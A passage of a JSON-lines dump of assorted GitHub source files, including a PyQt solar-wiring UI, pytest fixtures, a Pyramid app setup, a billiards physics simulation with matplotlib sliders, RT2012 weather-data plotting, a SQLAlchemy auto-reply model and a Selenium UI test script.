self.textConsoleDraw.append(\"Кол-во цепочек меньше числа MPPT, невозможно заполгнить все MPPT\")\r\n self.textConsoleDraw.append(\"---\")\r\n self.statusBar.showMessage(\"Внимание!\")\r\n self.statusBar.setStyleSheet(styles_and_animation.status_red)\r\n elif self.painter_draw_one.num_error['error'] == 3:\r\n self.textConsoleDraw.append(\"!!!\")\r\n self.textConsoleDraw.append(\"Данное количесво цепочек не вмещается, примените Y коннекторы, либо измените конфигурацию MPPT\")\r\n self.textConsoleDraw.append(\"---\")\r\n self.statusBar.showMessage(\"Внимание!\")\r\n self.statusBar.setStyleSheet(styles_and_animation.status_red)\r\n elif self.painter_draw_one.num_error['error'] == 4:\r\n self.textConsoleDraw.append(\"!!!\")\r\n self.textConsoleDraw.append(\"Данное количесво цепочек слишком мало чтобы заполнить все MPPT применяя Y коннекторы, уберите Y коннекторы или полное заполнение\")\r\n self.textConsoleDraw.append(\"---\")\r\n self.statusBar.showMessage(\"Внимание!\")\r\n self.statusBar.setStyleSheet(styles_and_animation.status_red)\r\n elif self.painter_draw_one.num_error['error'] == 5:\r\n self.textConsoleDraw.append(\"!!!\")\r\n self.textConsoleDraw.append(\"Слишком большое количество цепочек\")\r\n self.textConsoleDraw.append(\"---\")\r\n self.statusBar.showMessage(\"Внимание!\")\r\n self.statusBar.setStyleSheet(styles_and_animation.status_red)\r\n else:\r\n self.statusBar.showMessage(\"Внимание! При построении схемы возникла проблема\")\r\n self.statusBar.setStyleSheet(styles_and_animation.status_red)\r\n self.btnDraw.setEnabled(True)\r\n self.btnDraw.setText('Построить')\r\n self.progressBar.hide()\r\n del self.painter_draw_one\r\n \r\n ","repo_name":"Croud9/Larso","sub_path":"app/logic/logicUIOneScheme.py","file_name":"logicUIOneScheme.py","file_ext":"py","file_size_in_byte":32368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"17611580182","text":"import pytest\n\n\nclass TestBackends(object):\n\n @pytest.fixture\n def simple_payload(self):\n return {'name': 'test.simple', 'metric': 'simple_payload', 'value': 1, 'host': 'test'}\n\n @pytest.fixture\n def structured_payload(self):\n return {'name': 'test.structured', 'metric': 'structured_payload', 'val0': 1, 'val2': 'str', 'val3': [1, 2],\n 'host': 'test', 'tags': ['tag1', 'tags2']}\n\n def test_base_backend_simple_payload(self, mocker, dummy_backend, simple_payload):\n mock_gethostname = mocker.patch('socket.gethostname')\n mock_gethostname.return_value = 'test'\n dummy_backend.report(name='test.simple', metric='simple_payload', value=1, tags=None)\n reported_data = dummy_backend.reported_data['test.simple']\n assert reported_data == simple_payload\n\n def test_base_backend_structured_payload(self, mocker, dummy_backend, structured_payload):\n mock_gethostname = mocker.patch('socket.gethostname')\n mock_gethostname.return_value = 'test'\n dummy_backend.report(name='test.structured', metric='structured_payload',\n value={'val0': 1, 'val2': 'str', 'val3': [1, 2]}, tags=['tag1', 'tags2'])\n reported_data = dummy_backend.reported_data['test.structured']\n assert reported_data == structured_payload\n","repo_name":"APSL/kaneda","sub_path":"tests/unit/test_backends.py","file_name":"test_backends.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"79"} +{"seq_id":"224641372","text":"\nfrom pyramid_beaker import session_factory_from_settings\nfrom pyramid.config import Configurator\n# from pyramid.session import UnencryptedCookieSessionFactoryConfig\n# my_session_factory = UnencryptedCookieSessionFactoryConfig('not-really-secret')\n\n\"\"\" The docs have a charming parallel to the way `apt-get remove perl` used to\n make you type out 'I know that what I am doing is wrong':\n\n > Note the very long, very explicit name for\n > UnencryptedCookieSessionFactoryConfig. It's trying to tell you that this\n > implementation is, by default, *unencrypted*. You should not use it when\n > you keep sensitive information in the session object, as the information\n > can be easily read by both users of your application and third parties\n > who have access to your users' network traffic. Use a different session\n > factory implementation (preferably one which keeps session data on the\n > server) for anything but the most basic of applications where \"session\n > security doesn't matter\".\n\"\"\"\n\nfrom sqlalchemy import engine_from_config\nfrom .models import DBSession\n\ndef main(global_config, **settings):\n \"\"\" This function returns a Pyramid WSGI application.\n \"\"\"\n engine = engine_from_config(settings, 'sqlalchemy.')\n DBSession.configure(bind=engine)\n session_factory = session_factory_from_settings(settings)\n config = Configurator(settings=settings)\n config.set_session_factory(session_factory)\n # config = Configurator(session_factory=my_session_factory, settings=settings)\n config.add_static_view('static', 'static', cache_max_age=3600)\n\n # \"Show me your deck list.\"\n config.add_route('give_deck', '/')\n # \"Did I parse your deck list correctly?\"\n config.add_route('check_deck', '/check')\n # \"Okay, I'm asking you questions about your deck.\"\n config.add_route('show_question', '/ask')\n # \"This is my answer to the question.\"\n config.add_route('check_answer', '/answer')\n # /answer should be POSTed to, and leads back to /ask with a flash message\n # telling you whether you were right or wrong.\n\n config.scan()\n return config.make_wsgi_app()\n","repo_name":"seanmcd/VexingArcanix","sub_path":"vexingarcanix/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"} +{"seq_id":"7957498194","text":"import sys\nsys.stdin = open('input.txt')\n\nn = int(input())\n\nfor k in range(1,n + 1):\n N = int(input())\n arr = list(map(int, input().split()))\n\n minv = maxv = arr[0]\n for i in range(N):\n if minv > arr[i]:\n minv = arr[i]\n if maxv < arr[i]:\n maxv = arr[i]\n\n result = maxv - minv\n print('#{} {}'.format(k, result))","repo_name":"ggpp0909/problem_solving","sub_path":"Python/SWEA/0810/4828_min_max/4828_min_max.py","file_name":"4828_min_max.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"26619464747","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.patches import Rectangle\r\nfrom matplotlib.widgets import Slider, Button\r\n\r\n# Width of rectangle:\r\nL = 2\r\n\r\ndef collision_data_nospin(N, x0, y0, alpha0):\r\n \r\n t = np.zeros(N) # times at collision\r\n x = np.zeros(N) # x-values at collision\r\n y = np.zeros(N) # y-values at collision\r\n alpha = np.zeros(N) # alpha values at collision\r\n theta1 = np.zeros(N) # theta1 values at collision\r\n theta2 = np.zeros(N) # theta2 values at collision\r\n theta3 = np.zeros(N) # theta3 values at collision\r\n theta4 = np.zeros(N) # theta4 values at collision\r\n \r\n # Initial values:\r\n t[0] = 0\r\n x[0] = x0\r\n y[0] = y0\r\n alpha[0] = alpha0\r\n theta1[0] = np.arctan2(1 - y[0], L - x[0])\r\n theta2[0] = np.arctan2(1 - y[0], -L - x[0])\r\n theta3[0] = np.arctan2(-1 - y[0], -L - x[0])\r\n theta4[0] = np.arctan2( -1 - y[0], L - x[0])\r\n\r\n # Update formula:\r\n for i in range(1, N):\r\n if (alpha[i - 1] - theta1[i - 1])%(2*np.pi) < (theta2[i - 1] - theta1[i - 1])%(2*np.pi):\r\n t[i] = (1 - y[i - 1])/np.sin(alpha[i - 1])\r\n x[i] = x[i - 1] + t[i]*np.cos(alpha[i - 1])\r\n y[i] = 1\r\n alpha[i] = -alpha[i - 1]\r\n if (alpha[i - 1] - theta2[i - 1])%(2*np.pi) < (theta3[i - 1] - theta2[i - 1])%(2*np.pi):\r\n t[i] = (-L - x[i - 1])/np.cos(alpha[i - 1])\r\n x[i] = -L\r\n y[i] = y[i - 1] + t[i]*np.sin(alpha[i - 1])\r\n alpha[i] = np.pi - alpha[i - 1]\r\n if (alpha[i - 1] - theta3[i - 1])%(2*np.pi) < (theta4[i - 1] - theta3[i - 1])%(2*np.pi):\r\n t[i] = (-1 - y[i - 1])/np.sin(alpha[i - 1])\r\n x[i] = x[i - 1] + t[i]*np.cos(alpha[i - 1])\r\n y[i] = -1\r\n alpha[i] = -alpha[i - 1]\r\n if (alpha[i - 1] - theta4[i - 1])%(2*np.pi) < (theta1[i - 1] - theta4[i - 1])%(2*np.pi):\r\n t[i] = (L - x[i - 1])/np.cos(alpha[i - 1])\r\n x[i] = L\r\n y[i] = y[i - 1] + t[i]*np.sin(alpha[i - 1])\r\n alpha[i] = np.pi - alpha[i - 1]\r\n theta1[i] = np.arctan2(1 - y[i], L - x[i])\r\n theta2[i] = np.arctan2(1 - y[i], -L - x[i])\r\n theta3[i] = np.arctan2(-1 - y[i], -L - x[i])\r\n theta4[i] = np.arctan2( -1 - y[i], L - x[i])\r\n \r\n return x, y, alpha\r\n\r\ndef collision_data(N, x0, y0, alpha0, u0, MI_coeff):\r\n \r\n vx0 = np.cos(alpha0)\r\n vy0 = np.sin(alpha0)\r\n \r\n t = np.zeros(N) # times at collision\r\n x = np.zeros(N) # x-values at collision\r\n y = np.zeros(N) # y-values at collision\r\n vx = np.zeros(N) # x-component of veolcity at collision\r\n vy = np.zeros(N) # y-component of veolcity at collision\r\n u = np.zeros(N) # spin values at collision\r\n alpha = np.zeros(N) # alpha values at collision\r\n theta1 = np.zeros(N) # theta1 values at collision\r\n theta2 = np.zeros(N) # theta2 values at collision\r\n theta3 = np.zeros(N) # theta3 values at collision\r\n theta4 = np.zeros(N) # theta4 values at collision\r\n \r\n # Initial values:\r\n t[0] = 0\r\n x[0] = x0\r\n y[0] = y0\r\n vx[0] = vx0\r\n vy[0] = vy0\r\n u[0] = u0\r\n alpha[0] = alpha0\r\n theta1[0] = np.arctan2(1 - y[0], L - x[0])\r\n theta2[0] = np.arctan2(1 - y[0], -L - x[0])\r\n theta3[0] = np.arctan2(-1 - y[0], -L - x[0])\r\n theta4[0] = np.arctan2( -1 - y[0], L - x[0])\r\n\r\n # Update formula:\r\n for i in range(1, N):\r\n if (alpha[i - 1] - theta1[i - 1])%(2*np.pi) < (theta2[i - 1] - theta1[i - 1])%(2*np.pi):\r\n t[i] = (1 - y[i - 1])/vy[i - 1]\r\n x[i] = x[i - 1] + t[i]*vx[i - 1]\r\n y[i] = 1\r\n \r\n vT = -vx[i - 1]\r\n vn = -vy[i - 1]\r\n vparr = ((1 - MI_coeff)/(1 + MI_coeff))*vT - ((2*MI_coeff)/(1 + MI_coeff))*u[i - 1]\r\n vperp = -vn\r\n \r\n u[i] = -((1 - MI_coeff)/(1 + MI_coeff))*u[i - 1] - (2/(1 + MI_coeff))*vT\r\n vx[i] = -vparr\r\n vy[i] = -vperp\r\n alpha[i] = np.arctan2(vy[i],vx[i])\r\n \r\n if (alpha[i - 1] - theta2[i - 1])%(2*np.pi) < (theta3[i - 1] - theta2[i - 1])%(2*np.pi):\r\n t[i] = (-L - x[i - 1])/vx[i - 1]\r\n x[i] = -L\r\n y[i] = y[i - 1] + t[i]*vy[i - 1]\r\n \r\n vT = -vy[i - 1]\r\n vn = vx[i - 1]\r\n vparr = ((1 - MI_coeff)/(1 + MI_coeff))*vT - ((2*MI_coeff)/(1 + MI_coeff))*u[i - 1]\r\n vperp = -vn\r\n \r\n u[i] = -((1 - MI_coeff)/(1 + MI_coeff))*u[i - 1] - (2/(1 + MI_coeff))*vT\r\n vx[i] = vperp\r\n vy[i] = -vparr\r\n alpha[i] = np.arctan2(vy[i],vx[i])\r\n if (alpha[i - 1] - theta3[i - 1])%(2*np.pi) < (theta4[i - 1] - theta3[i - 1])%(2*np.pi):\r\n t[i] = (-1 - y[i - 1])/vy[i - 1]\r\n x[i] = x[i - 1] + t[i]*vx[i - 1]\r\n y[i] = -1\r\n \r\n vT = vx[i - 1]\r\n vn = vy[i - 1]\r\n vparr = ((1 - MI_coeff)/(1 + MI_coeff))*vT - ((2*MI_coeff)/(1 + MI_coeff))*u[i - 1]\r\n vperp = -vn\r\n \r\n u[i] = -((1 - MI_coeff)/(1 + MI_coeff))*u[i - 1] - (2/(1 + MI_coeff))*vT\r\n vx[i] = vparr\r\n vy[i] = vperp\r\n alpha[i] = np.arctan2(vy[i],vx[i])\r\n \r\n if (alpha[i - 1] - theta4[i - 1])%(2*np.pi) < (theta1[i - 1] - theta4[i - 1])%(2*np.pi):\r\n t[i] = (L - x[i - 1])/vx[i - 1]\r\n x[i] = L\r\n y[i] = y[i - 1] + t[i]*vy[i - 1]\r\n vT = vy[i - 1]\r\n vn = -vx[i - 1]\r\n vparr = ((1 - MI_coeff)/(1 + MI_coeff))*vT - ((2*MI_coeff)/(1 + MI_coeff))*u[i - 1]\r\n vperp = -vn\r\n \r\n u[i] = -((1 - MI_coeff)/(1 + MI_coeff))*u[i - 1] - (2/(1 + MI_coeff))*vT\r\n vx[i] = -vperp\r\n vy[i] = vparr\r\n alpha[i] = np.arctan2(vy[i],vx[i])\r\n theta1[i] = np.arctan2(1 - y[i], L - x[i])\r\n theta2[i] = np.arctan2(1 - y[i], -L - x[i])\r\n theta3[i] = np.arctan2(-1 - y[i], -L - x[i])\r\n theta4[i] = np.arctan2( -1 - y[i], L - x[i])\r\n \r\n return x, y, alpha, vx, vy, u\r\n\r\n# Define initial parameters\r\ninit_MI_coeff = 1/2\r\ninit_x = 0\r\ninit_y = 0.25\r\ninit_theta = np.pi/4\r\ninit_u = 0\r\ninit_N = 50\r\n\r\nx_spin, y_spin, alpha_spin, vx_spin, vy_spin, u_spin = collision_data(init_N, init_x, init_y, init_theta, init_u, init_MI_coeff)\r\n\r\nfig, ax = plt.subplots()\r\nline, = ax.plot(x_spin, y_spin, lw=2, c='red')\r\n\r\n# May be uncommented to save collision data:\r\n#np.savetxt('rectangle_edges.txt',np.transpose(np.array([x_spin,y_spin,vx_spin,vy_spin,u_spin])))\r\n\r\nplt.gca().add_patch(Rectangle((-L,-1),2*L,2,\r\n edgecolor='black',\r\n facecolor='none'))\r\nax = plt.gca()\r\nax.set_aspect('equal', adjustable='box')\r\n\r\n# adjust the main plot to make room for the sliders\r\nfig.subplots_adjust(left=0.25, bottom=0.25)\r\n\r\naxMI_coeff = fig.add_axes([0.25, 0.1, 0.65, 0.03])\r\nMI_coeff_slider = Slider(\r\n ax=axMI_coeff,\r\n label='alpha',\r\n valmin=0,\r\n valmax=1,\r\n valinit=init_MI_coeff,\r\n)\r\n\r\nax_x = fig.add_axes([0.25, 0.2, 0.65, 0.03])\r\nx_slider = Slider(\r\n ax=ax_x,\r\n label='x0',\r\n valmin=-L,\r\n valmax=L,\r\n valinit=init_x,\r\n)\r\n\r\nax_y = fig.add_axes([0.25, 0.15, 0.65, 0.03])\r\ny_slider = Slider(\r\n ax=ax_y,\r\n label='y0',\r\n valmin=-1,\r\n valmax=1,\r\n valinit=init_y,\r\n)\r\n\r\nax_theta = fig.add_axes([0.25, 0.25, 0.65, 0.03])\r\ntheta_slider = Slider(\r\n ax=ax_theta,\r\n label='theta0',\r\n valmin=0,\r\n valmax=2*np.pi,\r\n valinit=init_theta,\r\n)\r\n\r\nax_u = fig.add_axes([0.05, 0.25, 0.0225, 0.63])\r\nu_slider = Slider(\r\n ax=ax_u,\r\n label=\"u\",\r\n valmin=0,\r\n valmax=10,\r\n valinit=init_u,\r\n orientation=\"vertical\"\r\n)\r\n\r\nax_N = fig.add_axes([0.1, 0.25, 0.0225, 0.63])\r\nN_slider = Slider(\r\n ax=ax_N,\r\n label=\"N\",\r\n valmin=1,\r\n valmax=100,\r\n valinit=init_N,\r\n orientation=\"vertical\",\r\n valfmt='%0.0f'\r\n)\r\n\r\n\r\n# The function to be called anytime a slider's value changes\r\ndef update(val):\r\n x_spin, y_spin, alpha_spin, vx_spin, vy_spin, u_spin = collision_data(int(N_slider.val), x_slider.val, y_slider.val, theta_slider.val, u_slider.val, MI_coeff_slider.val)\r\n line.set_xdata(x_spin)\r\n line.set_ydata(y_spin)\r\n fig.canvas.draw_idle()\r\n \r\nMI_coeff_slider.on_changed(update)\r\nx_slider.on_changed(update)\r\ny_slider.on_changed(update)\r\ntheta_slider.on_changed(update)\r\nu_slider.on_changed(update)\r\nN_slider.on_changed(update)\r\n\r\nresetax = fig.add_axes([0.8, 0.025, 0.1, 0.04])\r\nbutton = Button(resetax, 'Reset', hovercolor='0.975')\r\n\r\n\r\ndef reset(event):\r\n MI_coeff_slider.reset()\r\n x_slider.reset()\r\n y_slider.reset()\r\n theta_slider.reset()\r\n u_slider.reset()\r\n N_slider.reset()\r\nbutton.on_clicked(reset)\r\n\r\nplt.show()","repo_name":"WarlicTheWizard/billiards","sub_path":"rectangle with sliders.py","file_name":"rectangle with sliders.py","file_ext":"py","file_size_in_byte":8792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"6412488724","text":"from sqlalchemy import (\n BigInteger,\n Boolean,\n Column,\n LargeBinary,\n Numeric,\n String,\n Integer,\n UnicodeText,\n)\nfrom Db import SESSION, Base\nimport os\n\n\nclass AutoReply(Base):\n __tablename__ = \"AutoReply\"\n id = Column(Integer, autoincrement=True, primary_key=True)\n text = Column(String)\n file_id = Column(String)\n msg_type = Column(String)\n msg_content = Column(String)\n\n def __init__(self, text, msg_type, msg_content, file_id, id=None):\n self.id = id\n self.msg_type = msg_type\n self.file_id = file_id\n self.text = text\n self.msg_content = msg_content\n\n\nAutoReply.__table__.create(checkfirst=True)\n\n\ndef getAutoReply(text):\n try:\n return SESSION.query(AutoReply).filter(AutoReply.text == text).one()\n except:\n return None\n finally:\n SESSION.close()\n\n\ndef getAllAutoReply():\n try:\n return SESSION.query(AutoReply).all()\n except:\n return None\n finally:\n SESSION.close()\n\n\ndef addAutoReply(text, msg_type, msg_content=\"\", file_id=\"\"):\n try:\n addRep = SESSION.query(AutoReply).filter(AutoReply.text == text).one()\n except Exception as e:\n addRep = None\n print(str(\"error : togglepropsetting : %s\" % (e)))\n\n if addRep:\n addRep.msg_type = msg_type\n addRep.msg_content = msg_content\n try:\n os.remove(addRep.file_id)\n except Exception as e:\n print(\"addAutoReplySetting : %s\" % (e))\n addRep.file_id = file_id\n else:\n addRep = AutoReply(text, msg_type, msg_content, file_id)\n SESSION.add(addRep)\n SESSION.commit()\n\n\ndef remAutoReplySetting(text):\n try:\n remrep = SESSION.query(AutoReply).filter(AutoReply.text == text).one()\n if remrep:\n SESSION.delete(remrep)\n SESSION.commit()\n return True\n except:\n return False\n\n","repo_name":"micodev/botShell","sub_path":"Db/autoReply_sql.py","file_name":"autoReply_sql.py","file_ext":"py","file_size_in_byte":1911,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"79"} +{"seq_id":"18918018871","text":"# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n# jupytext:\n# formats: ipynb,py:light\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.5'\n# jupytext_version: 1.4.0\n# kernelspec:\n# display_name: Python 3\n# language: python\n# name: python3\n# ---\n\n# +\n# # !pip install xlrd\n# -\n\nimport xlrd\nimport numpy as np\nimport matplotlib.pylab as plt\n\n# # Donnée météorologiques RT2012\n#\n# documentation à propos des données: https://www.rt-batiment.fr/batiments-neufs/reglementation-thermique-2012/donnees-meteorologiques.html\n\nfilename = './FichiersMeteo_RT2012.xls'\nweather_data = xlrd.open_workbook(filename)\n\nprint('sheets:', ', '.join(weather_data.sheet_names()))\n\n# +\ndescriptif = weather_data.sheet_by_name('Descriptif')\n\nprint('Descriptif')\nprint('==========')\nfor row in descriptif.get_rows():\n r = [r.value for r in row]\n print('\\t'.join(r))\n# -\n\nvilles = {'H1a': 'Trappes',\n 'H1b': 'Nancy',\n 'H1c': 'Macon',\n 'H2a': 'Rennes',\n 'H2b': 'La Rochelle',\n 'H2c': 'Agen',\n 'H2d': 'Carpentras',\n 'H3' : 'Nice'}\n\nk = 0\nzc = list(villes.keys())\n\n# +\nzone_climatique = 'H1c'\n#zone_climatique = zc[k]\n#print(k, zone_climatique)\n#k += 1\n\n# Reads columns\nvariables = ['Htsmd', 'te0', 'we0', 'dirN', 'diff', 'Teciel', 'Vent', 'Teau', 'Gamma', 'Psi']\ndatazone = weather_data.sheet_by_name(zone_climatique)\ndata = {var:np.array([cell.value for cell in datazone.col(c, start_rowx=1)])\n for c, var in enumerate(variables)}\n\nfig = plt.figure(figsize=(12, 10))\nnbr_graph = 3\n\n# === Temperature ===\nax1 = plt.subplot(nbr_graph, 1, 1)\n\nT_ext_grid = data['te0'].reshape(-1, 24).T\nT_ciel_grid = data['Teciel'].reshape(-1, 24).T\nT_eau_grid = data['Teau'].reshape(-1, 24).T\n\nplt.axhline(y=0, linewidth=1, color='black');\nplt.axhline(y=20, linewidth=1, linestyle=':', color='black');\n\n# T_ext\nplt.plot(T_ext_grid.mean(axis=0), color='r', label='T° ext.')\nx = np.arange(T_ext_grid.shape[1])\nplt.fill_between(x, T_ext_grid.min(axis=0), T_ext_grid.max(axis=0), color='red', alpha=0.1);\n\n# T_ciel\n#plt.plot(T_ciel_grid.max(axis=0), color='skyblue', label='T° eau (1m sol)')\nplt.plot(T_ciel_grid.mean(axis=0), color='darkblue', label='T° rayonnement ciel', alpha=0.2)\n#plt.plot(T_ciel_grid.min(axis=0), color='skyblue', label='T° eau (1m sol)')\n\n# T_eau\nplt.plot(T_eau_grid.mean(axis=0), color='skyblue', label='T° eau (1m sol)')\n\nplt.xlim(0, T_ext_grid.shape[1]); #plt.title(\"Température extérieure (°C)\");\nplt.ylabel(\"Température extérieure (°C)\");\nplt.legend(); plt.xlabel(\"jour de l'année\");\nplt.title(\"Température extérieure (°C)\");\nplt.ylim((-10, 35))\n\n# === Vent ===\nax1 = plt.subplot(nbr_graph, 1, 2, sharex=ax1)\nvent_grid = data['Vent'].reshape(-1, 24).T\n\nplt.plot(vent_grid.mean(axis=0), color='cadetblue', label='vitesse vent moy.')\nx = np.arange(T_ext_grid.shape[1])\nplt.fill_between(x, vent_grid.min(axis=0), vent_grid.max(axis=0), color='cadetblue', alpha=0.1);\n\nplt.xlim(0, T_ext_grid.shape[1]); plt.title(\"vitesse moyenne du vent (m/s)\");\nplt.ylabel(\"vitesse vent (m/s)\"); plt.xlabel(\"jour de l'année\");\nplt.legend();\nplt.ylim((0, 15))\n\n# === Soleil ===\nax2 = plt.subplot(nbr_graph, 1, 3, sharex=ax1)\nax2.set_title(f'{zone_climatique} {villes[zone_climatique]}')\n\ndirN_grid = data['dirN'].reshape(-1, 24).T\ndiff_grid = data['diff'].reshape(-1, 24).T\nplt.plot(dirN_grid.sum(axis=0), color='darkorange', label='directe')\nplt.fill_between(x, np.zeros_like(x), dirN_grid.sum(axis=0)/24, color='darkorange', alpha=0.1);\n\nplt.plot(diff_grid.sum(axis=0), color='lightslategray', label='diffus')\n#plt.fill_between(x, np.zeros_like(x), diff_grid.sum(axis=0)/24, color='lightslategray', alpha=0.1);\n\nplt.legend();\nplt.xlim(0, T_ext_grid.shape[1]); plt.title(\"Energie solaire directe par jour (Wh/m2)\");\nplt.ylabel(\"Energie solaire directe par jour (Wh/m2)\");\nplt.ylim((0, 400*24))\n\n\n#plt.fill_between(x, np.zeros_like(x), dirN_grid.sum(axis=0)/24, color='darkorange', alpha=0.1);\n\n\n\nplt.xlabel(\"jour de l'année\");\nfig.suptitle(f'zone {zone_climatique} - {villes[zone_climatique]}', fontsize=16)\n\nplt.tight_layout(rect=(0, 0, 1, 0.97))\nfilename = f'{zone_climatique}_{villes[zone_climatique]}.svg'\nplt.savefig(filename)\n\n# +\n# == Heat map == \nT_ext_grid = np.array([h.value for h in datazone.col(1, start_rowx=1)]).reshape(-1, 24).T\n\nplt.figure(figsize=(15, 4))\nplt.pcolormesh(T_ext_grid, shading='flat'); plt.colorbar();\nplt.title(\"Température extérieure (°C)\")\nplt.xlabel(\"jour de l'année\"); plt.ylabel('heure');\n# -\n\nplt.figure(figsize=(15, 4))\nplt.pcolormesh(dirN_grid, shading='flat'); plt.colorbar();\n\nprint( list(data.keys()) )\n\n# +\n# Export to csv\nzone_climatique = 'H1c'\n\ncolumns_to_export = ['Htsmd', 'te0', 'dirN']\ndataarray = np.stack([data[c] for c in columns_to_export], axis=-1)\n\nfilename = f'{zone_climatique}_{villes[zone_climatique]}.csv'\nnp.savetxt(filename, dataarray, fmt='%.18e', delimiter=';', header=';'.join(columns_to_export))\n# -\n\n# # Look at Correlations\n\nplt.plot(data['te0'], data['dirN'], '.')\n\nplt.plot(dirN_grid.max(axis=0), T_ciel_grid.mean(axis=0), '.')\n\nplt.plot(data['te0'], data['Teciel'], '.')\n\n# https://physics.stackexchange.com/a/153947/105894\n# https://github.com/xdze2/thermique_appart/blob/master/Model02_tuile.ipynb\n#\n# It's much closer to 273 K than 2.73 K. The answer depends on the surface temperature, the humidity, the temperature gradient through the atmosphere, and what exactly you mean by \"the temperature of the clear night sky\".\n#\n# The Swinbank formula provides an ad hoc expression for the power radiated by the night sky. A modified version of this formula from Goforth et al. is $$P_{\\text{thermal}} = (1+KC^2)8.78\\times 10^{-13}\\,T^{5.852}\\,{RH}^{0.07195}$$ where\n#\n# $K$ is a scale factor based on cloud height, ranging from 0.34 for very low clouds to 0.06 for very high clouds,\n# $C$ is the fraction of the sky covered by clouds,\n# $T$ is the surface temperature, in kelvins,\n# $RH$ is the surface relative humidity, as a percentage (e.g., $RH$ would be 25 in the case of 25% relative humidity), and\n# $P_{\\text{thermal}}$ is the night sky radiation, in watts per square meter.\n#\n# This can be converted to an effective temperature via the Stefan-Boltzmann law. Now the question arises as to whether you are asking about the effective black body temperature or effective gray body temperature of the night sky. In the first case the Stefan-Boltzmann law yields $T = (P/\\sigma)^{1/4}$. Taking emissivity into account yields $T = (P/(\\epsilon \\sigma))^{1/4}$, where $\\epsilon\\approx 0.74$ is the emissivity of the atmosphere.\n#\n# A couple of examples:\n#\n# A cool clear night in the desert, with a temperature of 5°C and a relative humidity of 5%. The modified Swinbank formula yields a flux of 198 w/m2, which in turn corresponds to a black body temperature of -29.9°C or a gray body temperature of -10.9°C.\n#\n# A warm clear night in the countryside, with a temperature of 15°C and a relative humidity of 25%. The modified Swinbank formula in this case yields a flux of 274 w/m2, which in turn corresponds to a black body temperature of -9.5°C or a gray body temperature of 11.1°C.\n#\n\n\n","repo_name":"xdze2/simuthermique","sub_path":"weather_api/Fichiers_Meteo_RT2012/viz_yearly_weather_data.py","file_name":"viz_yearly_weather_data.py","file_ext":"py","file_size_in_byte":7232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"21688667754","text":"import unittest\nfrom Utils.logger import *\nfrom selenium import webdriver\n\nfrom Utils.utility import *\nfrom classes.DriverHelpers.DriverHelper import DriverHelper\nfrom Utils.Constants import *\nfrom Utils.SetUp import *\nfrom classes.Pages.NFPageClass import *\nfrom classes.Pages.QuickTrendsPageClass import *\nfrom classes.Pages.GenerateReportsPopClass import *\nfrom classes.Pages.ReportsModuleClass import *\nfrom classes.Pages.ConfigurationPageClass import *\n\nsetup = SetUp()\n\nlogin(setup, \"admin\", \"Admin@123\")\nexploreScreenInstance = ExplorePageClass(setup.d)\nexploreHandle = getHandle(setup,\"explore_Screen\")\n\n# exploreScreenInstance.exploreList.launchScreen(exploreHandle,\"exploreList\",\"nf_Screen\")\n\nexploreScreenInstance.exploreList.switchApp(exploreHandle,1)\n\ntime.sleep(4)\nsetup.d.switch_to.window(setup.d.window_handles[1])\nconfScreenInstance = ConfigurationPageClass(setup.d)\nconfScreenHandle = getHandle(setup,\"configuration_Screen\")\nconfScreenInstance.leftColumn.select(1,confScreenHandle)\nconfScreenHandle = getHandle(setup,\"configuration_Screen\")\n\nconfScreenInstance.dummyelement.doSelection(confScreenHandle,\"Name\",'searchSelector','select')\nconfScreenInstance.dummyelement.doSelection(confScreenHandle,\"NetworkElement1\",'searchSelector','select')\nconfScreenInstance.dummyelement.doSelection(confScreenHandle,\"NetworkElement2\",'searchSelector','select')\nconfScreenInstance.dummyelement.doSelection(confScreenHandle,\"Port\",'searchSelector','select')\nconfScreenInstance.dummyelement.doSelection(confScreenHandle,\"Protocol\",'searchSelector','select')\n\n\nconfScreenInstance.dummyelement.click(confScreenHandle['buttons']['crudbuttons'][0])\n\ncreatePopInstance = GenerateReportsPopClass(setup.d)\ncreatePopHandle = getHandle(setup, \"config_popup\")\n\n# Bulk Upload ##\ncreatePopInstance.switcher.switchTo(1,createPopHandle,'createdialog','switcher')\ncreatePopHandle = getHandle(setup, \"config_popup\")\ncreatePopInstance.dropdown.customSendkeys(createPopHandle['createdialog']['choosefile'],\"/Users/deepanshu.ahuja/Documents/nfib.csv\")\ncreatePopInstance.dropdown.customClick(createPopHandle['createdialog']['upload'])\n\n\n\n\nconfScreenHandle = getHandle(setup,\"configuration_Screen\")\nconfScreenInstance.dummyelement.click(confScreenHandle['buttons']['crudbuttons'][0])\ncreatePopInstance = GenerateReportsPopClass(setup.d)\ncreatePopHandle = getHandle(setup, \"config_popup\")\ncreatePopInstance.dropdown.customSendkeys(createPopHandle['createdialog']['nfName'],\"nfautomation\")\ncreatePopInstance.dropdown.doSelection(createPopHandle,\"FA\",'createdialog','networkElement1')\ncreatePopInstance.dropdown.doSelection(createPopHandle,\"HA\",'createdialog','networkElement2')\ncreatePopInstance.dropdown.customSendkeys(createPopHandle['createdialog']['port'],\"12\")\ncreatePopInstance.dropdown.customSendkeys(createPopHandle['createdialog']['protocol'],\"23\")\ncreatePopInstance.dropdown.customClick(createPopHandle['createdialog']['submit'])\n\n\nconfScreenHandle = getHandle(setup,\"configuration_Screen\")\n\n\nconfScreenInstance.dummyelement.click(confScreenHandle['buttons']['crudbuttons'][3])\nconfScreenInstance.dummyelement.click(confScreenHandle['buttons']['crudbuttons'][4])\nconfScreenHandle = getHandle(setup,\"configuration_Screen\")\n# Delete is not working now\nconfScreenInstance.table.setSelection1(3,confScreenHandle,\"table\")\nconfScreenInstance.dummyelement.click(confScreenHandle['buttons']['crudbuttons'][1])\n\n\nconfScreenHandle = 